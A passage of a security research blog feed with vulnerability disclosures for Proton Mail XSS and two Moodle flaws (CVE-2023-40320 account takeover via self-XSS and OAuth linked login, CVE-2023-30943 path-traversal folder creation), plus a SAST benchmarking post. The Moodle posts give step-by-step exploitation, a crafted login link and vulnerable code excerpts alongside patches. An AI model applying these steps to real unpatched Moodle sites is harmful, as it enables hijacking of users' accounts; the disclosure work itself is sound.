href=&quot;https://wicg.github.io/sanitizer-api/&quot;&gt;Sanitizer API&lt;/a&gt; that will be built into browsers in the future. If you use obscure or outdated sanitizers, chances are that they will miss weird quirks and leave you vulnerable.&lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;Timeline&lt;/h3&gt;&lt;table&gt;&lt;tbody&gt;
  &lt;tr&gt;&lt;td&gt;&lt;strong&gt;Date&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;Action&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2022-06-03&lt;/td&gt;&lt;td&gt;We send our detailed report to Proton Mail&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2022-06-15&lt;/td&gt;&lt;td&gt;Proton Mail pushes fix to public repo&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2022-06-28&lt;/td&gt;&lt;td&gt;Proton Mail awards a bug bounty of $750&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2022-07-06&lt;/td&gt;&lt;td&gt;Proton Mail deploys fix to production&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;h3&gt;Summary&lt;/h3&gt;&lt;p&gt;In this article, we explained how an innocent-looking mistake in the code can have a huge impact on the application. We showed how we found and exploited Cross-Site Scripting vulnerabilities in Proton Mail, a popular end-to-end-encrypted webmail service. We also discussed how the flaw was fixed and how you can avoid such problems in your own code.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We would like to thank the Proton Mail team for their fast and professional handling of our report. They also awarded us with a $750 USD bug bounty, which we happily donated to charity.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Stay tuned for next Tuesday&amp;#x27;s blog post, where we will show how similar code mistakes led to a Cross-Site Scripting vulnerability in Skiff&amp;#x27;s web client that also allowed attackers to steal emails and impersonate victims. If you don&amp;#x27;t want to miss it, make sure to follow us on &lt;a href=&quot;https://twitter.com/Sonar_Research&quot;&gt;Twitter&lt;/a&gt; or &lt;a href=&quot;https://infosec.exchange/@SonarResearch&quot;&gt;Mastodon&lt;/a&gt;!&lt;/p&gt;&lt;h2&gt;Related Blog Posts&lt;/h2&gt;&lt;ul&gt;&lt;li&gt;Part 2: &lt;a href=&quot;https://www.sonarsource.com/blog/code-vulnerabilities-put-skiff-emails-at-risk/&quot;&gt;Code Vulnerabilities Put Skiff Emails at Risk&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/zimbra-webmail-compromise-via-email/&quot;&gt;Zimbra 8.8.15 - Webmail Compromise via Email&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/zimbra-mail-stealing-clear-text-credentials-via-memcache-injection/&quot;&gt;Zimbra Email - Stealing Clear-Text Credentials via Memcache injection&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/horde-webmail-rce-via-email/&quot;&gt;Horde Webmail - Remote Code Execution via Email | Sonar&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/rainloop-emails-at-risk-due-to-code-flaw/&quot;&gt;RainLoop Webmail - Emails at Risk due to Code Flaw&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[Playing Dominos with Moodle's Security (2/2)]]></title><description><![CDATA[Our security researchers recently discovered two critical vulnerabilities in Moodle that leverage the use of not impactful bugs.]]></description><link>https://www.sonarsource.com/blog/playing-dominos-with-moodles-security-2</link><guid isPermaLink="false">3c86761b-bdaa-517b-90f6-c6bd33427203</guid><dc:creator><![CDATA[Yaniv Nizry]]></dc:creator><pubDate>Mon, 28 Aug 2023 22:00:00 GMT</pubDate><content:encoded>&lt;p&gt;In our endeavor to enhance the security of the open-source realm and gain a deeper understanding of real-world vulnerabilities, we are constantly conducting audits of open-source projects, and the outcomes of this are presented in our two articles on Moodle security. This is the second blog covering another critical finding we discovered when auditing Moodle for security vulnerabilities. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In the first blog, we demonstrated how an unauthorized attacker could turn an arbitrary folder creation into a Cross-Site Scripting (XSS) vulnerability, ultimately resulting in Remote Code Execution (RCE). The second part of the series follows the same line of starting with a considerably low-impact bug at first glance, but with some steps, attackers can leverage it to a full account takeover. &lt;/p&gt;&lt;h2&gt;Impact&lt;/h2&gt;&lt;p&gt;Moodle versions before 4.2.2, 4.1.5, 4.0.10, 3.11.16, and 3.9.23 are susceptible to Account Takeover (ATO) via self-XSS in the WYSIWYG editor – this is tracked as CVE-2023-40320. On Moodle instances where &lt;a href=&quot;https://en.wikipedia.org/wiki/OAuth&quot;&gt;OAuth&lt;/a&gt; authentication is enabled, victims&amp;#x27; accounts can be compromised with a simple click on a link.&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/embed/njeXbu85yzM&quot;&gt;Watch the video&lt;/a&gt;&lt;/p&gt;&lt;h2&gt;Technical Details&lt;/h2&gt;&lt;p&gt;In this section, we will discuss the technical details of the vulnerability and explain how attackers might exploit this kind of vulnerability.&lt;/p&gt;&lt;h3&gt;Background&lt;/h3&gt;&lt;p&gt;A self-XSS vulnerability is when an attacker can execute arbitrary JavaScript code but the only one being affected by it is the attacker itself. To exploit this type of XSS, an attacker usually would need a high level of victim interaction, such as copying and pasting the payload to the vulnerable website. In many cases, this issue would not be considered a vulnerability, and even in the case of the Moodle vulnerability disclosure program, self-XSS is &lt;a href=&quot;https://moodle.org/mod/page/view.php?id=8722#:~:text=Self%2DXSS%20(unless%20there%20is%20a%20proven%20impact%20on%20other%20users)&quot;&gt;out of scope&lt;/a&gt; &lt;strong&gt;“(unless there is a proven impact on other users).”&lt;/strong&gt;&lt;/p&gt;&lt;h3&gt;From Self-XSS to Account Takeover (CVE-2023-40320)&lt;/h3&gt;&lt;p&gt;One of the initial steps we do when auditing an application is to use it as intended. Doing so helps us understand how it is supposed to behave and also brings many ideas to mind on how to manipulate the intended behavior the same way an attacker would. Pretty quickly we ran into the WYSIWYG editor in Moodle. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Being one of the core features of Moodle, it appears when editing a description of a user, writing an answer to a forum, submitting assignments, and many more.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We noticed that there is the possibility to input arbitrary HTML which will be rendered and executed in the editor (making this a self-XSS). But when submitting the payload to a public page (such as a forum, assignment, etc.), it gets sanitized on the server side and dangerous elements are removed – other users will never be affected by the payload. &lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/fb3421f5-79d0-49b6-b56e-8d4b491af9de/Moodle%20ATO%20WYSIWYG.png&quot; /&gt;&lt;p&gt;In addition, the editor has a feature that automatically saves a user&amp;#x27;s WYSIWYG content by sending the unsanitized data periodically after a couple of seconds to the &lt;code&gt;/lib/editor/atto/autosave-ajax.php&lt;/code&gt; endpoint:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/c60f4168-97a5-4ef1-af7c-488d8979ef39/Moodle%20ATO%20autosave.png&quot; /&gt;&lt;p&gt;When loading the page again, the autosaved data is fetched from the same endpoint using the &lt;code&gt;actions[0][action]&lt;/code&gt; parameter set to &lt;code&gt;resume&lt;/code&gt;. In case a malicious payload was stored before, it will execute again by visiting the WYSIWYG page – this just became a Stored Self-XSS!&lt;/p&gt;&lt;h3&gt;Exploitation strategies&lt;/h3&gt;&lt;p&gt;One of the ways an attacker could leverage this type of bug to an impactful one is by manipulating a victim into logging in to a malicious account -&amp;gt; triggering the self-XSS -&amp;gt; raising the impact depending on the application. With it, this was the first exploitation idea we tested. After a small check, we saw that the login and logout features are CSRF-protected, meaning an attacker can’t log in or out on the victim’s behalf by manipulating them to visit a malicious website. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In this case, an attacker needs to find some kind of “magic link” (a single link that logs in a user without a password, usually using a one-time token). The first idea we wanted to test is via an OAuth login. Yet again this endpoint was protected by a GET parameter &lt;code&gt;sesskey&lt;/code&gt; which acts as a CSRF token. At this point, we decided that code auditing would yield better results than quick tests. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Following the normal login procedure, the function that logs in a user is called &lt;code&gt;complete_user_login&lt;/code&gt;. This function is called after the authentication is verified and would also log out the current user if there is one. Upon examining all the calls made to this function, we discovered several endpoints. However, we observed that they either verifying new accounts (Moodle accounts must be verified before users can access them, meaning an attacker can’t pre-deploy the self-XSS) or prohibited logging in if a session already existed. Changing the email of an existing account would send a confirmation message but the link provided only confirms and does not login, unlike the confirmation link when registering a new account.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;h3&gt;OAuth Authentication Flows&lt;/h3&gt;&lt;p&gt;But then we came across &lt;code&gt;auth/oauth2/confirm-linkedlogin.php&lt;/code&gt; &lt;/p&gt;&lt;pre&gt;&lt;code&gt;$token = required_param(&apos;token&apos;, PARAM_RAW);
$username = required_param(&apos;username&apos;, PARAM_USERNAME);
$userid = required_param(&apos;userid&apos;, PARAM_INT);
$issuerid = required_param(&apos;issuerid&apos;, PARAM_INT);
$redirect = optional_param(&apos;redirect&apos;, &apos;&apos;, PARAM_LOCALURL);    // Where to 
//...
$confirmed = \auth_oauth2\api::confirm_link_login($userid, $username, $issuerid, $token);


if ($confirmed) {
//...
   if (!$user-&gt;suspended) {
       complete_user_login($user);
//...
       if (!empty($redirect)) {
           redirect($redirect);
       }
//...&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Here, if the link is valid, a login will happen. Without any verification that another user is already logged in, this is the only endpoint that does that. In addition to that, there is the possibility to pass a local &lt;code&gt;$redirect&lt;/code&gt; URL that will redirect the user after the login!&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;But what is &lt;code&gt;oauth2/confirm-linkedlogin.php&lt;/code&gt; and how an attacker would get here?&lt;/p&gt;&lt;p&gt;First, we need to understand that this is possible only in a Moodle instance with some kind of OAuth enabled. In it, a user can log in via their OAuth account or link/unlink OAuth to an existing account. In case it&amp;#x27;s the first OAuth login a new account will be created with linked OAuth. &lt;strong&gt;But &lt;/strong&gt;in case there is already an account with the same email address as the OAuth account, Moodle will link those accounts and send this &lt;code&gt;confirm-linkedlogin&lt;/code&gt; confirmation link by email.&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/a9b65fb9-815d-4685-96bb-0b49574e71d4/Moodle%20ATO%20Linkedlogin%20graph.png&quot; /&gt;&lt;h3&gt;Exploitation&lt;/h3&gt;&lt;p&gt;Here are the specific number of steps an attacker would need to do to craft an account takeover attack:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;1. The attacker has an account with a controlled email same as the OAuth provider (for example, if Moodle has Google’s OAuth then the email should be a Gmail address). In this demonstration, let&amp;#x27;s say an attacker is logged in with &lt;a href=&quot;mailto:attacker@gmail.com&quot;&gt;attacker@gmail.com&lt;/a&gt;. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;2. The attacker’s account shouldn’t be linked to OAuth (can be unlinked in the user options in case it&amp;#x27;s already linked).&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;3. Attacker creates a self-XSS payload that logs in using the current browser’s OAuth (done automatically without requiring credentials) using an iframe pointing to:&lt;br/&gt;&lt;code&gt;/auth/oauth2/login.php?id=2&amp;amp;wantsurl=%2F&amp;amp;sesskey=${M.cfg.sesskey}&lt;/code&gt; (the &lt;code&gt;M.cfg.sesskey&lt;/code&gt; is the current session’s CSRF protection). Since the Iframe has the same origin as the main page, the XSS code can freely access the newly created session in the Iframe.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;4. An attacker account adds the self-XSS payload to a WYSIWYG input and waits for the autosave.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;5. Attacker logs out.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;6. The attacker logs in with &lt;strong&gt;OAuth &lt;/strong&gt;(using &lt;a href=&quot;mailto:attacker@gmail.com&quot;&gt;attacker@gmail.com&lt;/a&gt;). Moodle will see that there is already an account with the same email address and will generate a confirmation URL that links the Moodle account to the OAuth. That URL will be sent by email. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;7. Attacker adds the &lt;code&gt;redirect&lt;/code&gt; parameter to the URL that will point to the self-XSS containing page: &lt;code&gt;http://moodle-domain/auth/oauth2/confirm-linkedlogin.php?token=...&amp;amp;userid=11&amp;amp;username=...&amp;amp;issuerid=...&amp;amp;redirect=http://moodle-domain/user/edit.php?id=11%231&lt;/code&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;8. Any user who clicks on the newly crafted link will be logged in to the attacker’s account and redirected to the self-XSS page.&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/3d58ebeb-ffa4-4fb7-91af-5aa68ce04bd2/Moodle%20ATO%20malicious%20link%20graph.png&quot; /&gt;&lt;p&gt;9. The victim triggers the self-XSS payload in the context of the attacker&amp;#x27;s account. It creates a new frame in which the victim is authenticated back in their own account via OAuth. Both the parent document (attacker&amp;#x27;s session) and the frame (victim&amp;#x27;s session) share the same origin, so the payload has full access to everything inside the frame. &lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/e40dd2d7-f265-4975-8690-9bbed40da0a0/Moodle%20ATO%20selfxss%20graph.png&quot; /&gt;&lt;p&gt;10. From here, the attacker has full control over the victim&amp;#x27;s account. For example, using the following iframe’s onload event code will show an alert with the victim’s cookie: &lt;code&gt;alert(&amp;#x27;hijacked cookie:&amp;#x27; + document.cookie);&lt;/code&gt;. Any other action can be done directly in the frame on the victim&amp;#x27;s behalf. In case the victim account has admin privileges, code execution on the server can be achieved (as demonstrated in our &lt;a href=&quot;https://www.sonarsource.com/blog/playing-dominos-with-moodles-security-1&quot;&gt;previous&lt;/a&gt; blog).&lt;/p&gt;&lt;h3&gt;Patch&lt;/h3&gt;&lt;p&gt;The vulnerability was &lt;a href=&quot;https://github.com/moodle/moodle/commit/3d3dd827fae6db06f8f2a265ef38cfd5566d0c17&quot;&gt;fixed&lt;/a&gt; in versions 4.2.2, 4.1.5, 4.0.10, 3.11.16, and 3.9.23 by removing the call to the &lt;code&gt;complete_user_login&lt;/code&gt; function, causing the &lt;code&gt;confirm-linkedlogin.php&lt;/code&gt; endpoint to not automatically login the user by clicking the link. &lt;/p&gt;&lt;pre&gt;&lt;code&gt;- if (!$user-&gt;suspended) {
-         complete_user_login($user);
-         \core\session\manager::apply_concurrent_login_limit($user-&gt;id, session_id());

+    if ($user-&gt;id == $USER-&gt;id) {
//...&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Clicking a malicious link now will not log in to the attacker’s account and thus no self-XSS is executed on the victim (though stored self-XSS is still possible in the WYSIWYG editor).&lt;/p&gt;&lt;h2&gt;Timeline&lt;/h2&gt;&lt;table&gt;&lt;tbody&gt;
  &lt;tr&gt;&lt;td&gt;&lt;strong&gt;Date&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;Action&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2023-03-22&lt;/td&gt;&lt;td&gt;We report all issues to the vendor&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2023-08-10&lt;/td&gt;&lt;td&gt;Vendor patched the vulnerability&lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;td&gt;2023-08-21&lt;/td&gt;&lt;td&gt;Vendor released security advisory and CVE-2023-40320 was assigned&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;h2&gt;Summary&lt;/h2&gt;&lt;p&gt;In this article, covering our second critical vulnerability found in Moodle, we demonstrated how attackers can leverage the self-XSS vulnerability to an impactful Account Takeover. Considering that, in addition to our first blog in the series covering another innocent initial bug to RCE, it is important to not overlook those innocuous issues. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;By focusing on clean code practices, developers write software that is clear, maintainable, and understandable. These qualities make it easier to spot and address vulnerabilities during development, reducing the risk of introducing security flaws that could be exploited by attackers. It is important to address all security issues in order to reduce the chance of bug chains.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We would also like to thank Moodle again for their responsiveness and great communication.&lt;/p&gt;&lt;h2&gt;Related Blog Posts&lt;/h2&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/playing-dominos-with-moodles-security-1&quot;&gt;Playing Dominos with Moodle&amp;#x27;s Security (1/2)&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/horde-webmail-account-takeover-via-email/&quot;&gt;Horde Webmail 5.2.22 - Account Takeover via Email&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/wordpress-stored-xss-vulnerability/&quot;&gt;WordPress 5.8.2 Stored XSS Vulnerability&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[Enhancing SAST Detection: Leveraging Benchmarks for Measuring Progress]]></title><description><![CDATA[ Enhancing Static Application Security Testing SAST,  leverage benchmarks for tracking our progress.]]></description><link>https://www.sonarsource.com/blog/enhancing-sast-detection-leveraging-benchmarks-for-measuring-progress</link><guid isPermaLink="false">6f4d7af1-eea6-5e9e-bbae-5db8403d55cf</guid><dc:creator><![CDATA[Alexandre Gigleux]]></dc:creator><pubDate>Wed, 23 Aug 2023 22:00:00 GMT</pubDate><content:encoded>&lt;p&gt;In the past years, we have been continuously improving our SAST (Static Application Security Testing) capabilities by taking different approaches. This year, after considering various options, we decided to leverage benchmarks for tracking our progress. Before delving into a blog series discussing our chosen benchmarks and score, let me provide some background information here.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;When considering a SAST solution, vendors often claim high accuracy, detection, and low or no false positives without concrete data to support those claims, At Sonar, we&amp;#x27;re confident in the quality of our security analyzers, but we&amp;#x27;ve always been cautious about bragging when engaging with potential customers.&lt;/p&gt;&lt;p&gt;In the past, we&amp;#x27;ve stated that we have a detection rate of 80% and a false-positive rate of no more than 20%. However, for specific cases such as the OWASP Benchmark project, we can provide more detailed information because when we entered the security market in 2019, we took the time to evaluate our coverage of this Java benchmark.&lt;/p&gt;&lt;p&gt;At that time, with SonarQube 7.9 Developer Edition, our &lt;a href=&quot;https://community.sonarsource.com/t/tech-story-takeaways-from-building-a-sast-product-and-why-owasp-benchmark-is-not-enough/15126&quot;&gt;True-Positive Rate (TPR) was at 85%, and our False-Detection Rate (FDR) at 1%&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;At Sonar, our focus has always been on delivering value to developers through our products, and that remains unchanged. For us, getting good results on a given benchmark was not a goal in itself but more a positive side effect of all the work we were doing to raise accurate and actionable issues, easy to understand with a good level of documentation to help the developers to fix the vulnerabilities.&lt;/p&gt;&lt;p&gt;At the same time, we started to receive in 2022 more and more feedback from prospects such as this one:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/0f1aee5f-44d4-4731-bb5c-9f06297c4cbc/Alex%20G%20quote%20Deeper%20SAST%202.png&quot; /&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Our first reaction has been always the same and our reply was: “This is normal, the issues we don’t raise are the false-positive ones raised by the others”.&lt;/p&gt;&lt;p&gt;However, on a more serious note, these demands made us realize one thing. Not all companies in the world have the time or resources to run a thorough assessment of the quality of SAST solutions. As a result, they resort to using randomly selected projects on GitHub to evaluate and assess the maturity level of SAST solutions. In January, we decided that we should help companies to do the right choice by providing three things:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;A list of the top 3 SAST benchmarks by language&lt;/li&gt;&lt;li&gt;The list of the issues that should be detected in these projects. We call that the Ground Truth,&lt;/li&gt;&lt;li&gt;The Sonar’s results&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In order to establish the list of candidates&amp;#x27; benchmarks, we looked at dozens of projects and applied the following criteria to our selection:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;we can select on-purpose vulnerable applications even if they are not originally designed as SAST benchmarks because it’s usually what users select&lt;/li&gt;&lt;li&gt;the list of potential benchmarks should be ordered by popularity (downloads, GitHub stars, activity, requests received by our sales engineering team)&lt;/li&gt;&lt;li&gt;we want projects that are selected by users to assess the maturity of SAST engines&lt;/li&gt;&lt;li&gt;we want benchmarks that are not linked to a specific vendor to avoid bias&lt;/li&gt;&lt;li&gt;the benchmarks should illustrate test cases corresponding to real problems that are in the code and can be detected by a SAST engine.&lt;/li&gt;&lt;li&gt;we want benchmarks for the main languages used on the market to build Web/API applications (Java, C#, Python, PHP, JavaScript/TypeScript)&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We considered a total of &lt;strong&gt;109 projects&lt;/strong&gt; and selected the top 3 for each language. Then we started the not-so-easy work of carefully reviewing them to build the Ground Truth for each project. Throughout this process, we ensured that every true vulnerability was accurately identified. In case of disagreement with the statement of the benchmark, the test case was considered as “not a problem to find” and added to the list of unexpected issues.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This Ground Truth for each project is made of:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;The list of all the locations (file, line, type of problem) where an issue should be detected and considered as a True-Positive (TP).&lt;/li&gt;&lt;li&gt;The list of all the locations where no issue is expected (True-Negative / TN). This includes locations where the benchmark itself was saying the SAST products should detect and where we disagree with the benchmark’s statement.&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;One fun fact related to the activity of building the Ground Truth is that most projects that are used as benchmarks don’t publish the list of expected/not-expected issues. The OWASP Benchmark stands out as an exception, as it provides this information effectively even if some test cases are challengeable.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Now that you have the full context, you’ll have a better understanding of the upcoming blog posts. We will share the list of benchmarks, the corresponding Ground Truth, and Sonar’s results for these benchmarks.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Sign up using the simple form below and be notified about the next in our series, which will be about Java benchmarks.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Alex&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Playing Dominos with Moodle's Security (1/2)]]></title><description><![CDATA[Our security researchers recently discovered two critical vulnerabilities in Moodle that leverage the use of not impactful bugs.]]></description><link>https://www.sonarsource.com/blog/playing-dominos-with-moodles-security-1</link><guid isPermaLink="false">19d638ec-0778-513e-8244-b111af46f7dc</guid><dc:creator><![CDATA[Yaniv Nizry]]></dc:creator><pubDate>Mon, 21 Aug 2023 22:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Moodle is an open-source learning management system (LMS) used to create and deliver online courses. It was first developed in 2002 by Martin Dougiamas and is now widely used by educators and institutions around the world, earning the trust of educational institutions worldwide, with its user base exceeding 350 million across 242 countries. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;Moodle provides a platform for teachers and trainers to create online courses and learning materials, manage course content, and interact with students through a range of communication tools such as discussion forums, messaging systems, and more.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Compromising a Moodle instance could considerably impact schools and universities. From simple grade cheating to infiltrating internal networks, shutting down a whole university, and more. An attacker can potentially cause significant harm to an educational institution.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;This is the first blog in a two-part series where we will present our findings on a Moodle security audit we conducted. We were drawn to researching the security aspect of the framework due to its popularity, with the goal of contributing to a safer internet.&lt;br/&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In this first article, we demonstrate how an unauthenticated attacker can leverage a vulnerability with a supposedly low impact to gain full control over the Moodle instance.&lt;/p&gt;&lt;h2&gt;Impact&lt;/h2&gt;&lt;p&gt;Moodle versions 4.1.x before 4.1.3 and 4.2.x before 4.2.0 are susceptible to an unauthenticated arbitrary folder creation, tracked as CVE-2023-30943. An attacker can leverage the creation of arbitrary folders to carry out a Stored Cross-Site Scripting (XSS) attack on the administration panel, resulting in arbitrary code execution on the server as soon as an administrator visits the panel.&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/embed/pevHGKKOsqU&quot;&gt;Watch the video&lt;/a&gt;&lt;/p&gt;&lt;h2&gt;Technical Details&lt;/h2&gt;&lt;p&gt;In this section, we discuss the origin of the vulnerability and how an attacker can turn an arbitrary folder creation into a Stored Cross-Site Scripting vulnerability and then execute arbitrary commands.&lt;/p&gt;&lt;h3&gt;Background&lt;/h3&gt;&lt;p&gt;Like many other applications, Moodle has its own permission/authorization levels, using roles such as students, teachers, managers, etc. An administrator account can install arbitrary plugins (PHP code). This feature allows an administrator to execute code on the server by design.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;By default, the register feature is disabled on Moodle: this is mainly because schools usually don&amp;#x27;t want random people to register and login into their Moodle, but only their students. For example, only after a student is accepted by a university, they will manually create a Moodle user and provide the student with their login credentials. &lt;/p&gt;&lt;h3&gt;From arbitrary folder creation to RCE (CVE-2023-30943)&lt;/h3&gt;&lt;p&gt;Although the attack surface for an unauthenticated attacker is minimal, we found two interesting endpoints that do not require authentication.&lt;/p&gt;&lt;p&gt;Both of the following endpoints take a &lt;code&gt;RAW&lt;/code&gt; typed input from the &lt;code&gt;rev&lt;/code&gt; parameter and generate a custom path that includes the provided &lt;code&gt;rev&lt;/code&gt; parameter in the middle. Later, a folder will be created on this path if it doesn&amp;#x27;t exist. Since the parameter type is &lt;code&gt;RAW&lt;/code&gt; (no modification or sanitization by Moodle) and its value is inserted in the middle of the path string, an attacker can create arbitrary folders on the server by using path traversal sequences. Without control over any files (names, paths, nor data) the impact of this weird bug is questionable at first glance. &lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;code&gt;lib/editor/tiny/lang.php&lt;/code&gt;&lt;/li&gt;&lt;/ul&gt;&lt;pre&gt;&lt;code&gt;$rev  = min_optional_param(&apos;rev&apos;, 0, &apos;RAW&apos;);
$lang = min_optional_param(&apos;lang&apos;, &apos;standard&apos;, &apos;SAFEDIR&apos;);
//...
$this-&gt;candidatefile = &quot;{$CFG-&gt;localcachedir}/editor_tiny/{$this-&gt;rev}/lang/{$this-&gt;lang}/lang.json&quot;;
//...
@mkdir(dirname($this-&gt;candidatefile), $CFG-&gt;directorypermissions, true);
//...&lt;/code&gt;&lt;/pre&gt;&lt;ul&gt;&lt;li&gt;&lt;code&gt;lib/editor/tiny/loader.php&lt;/code&gt;&lt;/li&gt;&lt;/ul&gt;&lt;pre&gt;&lt;code&gt;$this-&gt;rev  = min_optional_param(&apos;rev&apos;, 0, &apos;RAW&apos;);
$this-&gt;filepath = min_optional_param(&apos;filepath&apos;, &apos;standard&apos;, &apos;SAFEPATH&apos;);
//...
$this-&gt;candidatefile = &quot;{$CFG-&gt;localcachedir}/editor_tiny/{$this-&gt;rev}/{$filepathhash}&quot;;
//...
@mkdir(dirname($this-&gt;candidatefile), $CFG-&gt;directorypermissions, true);
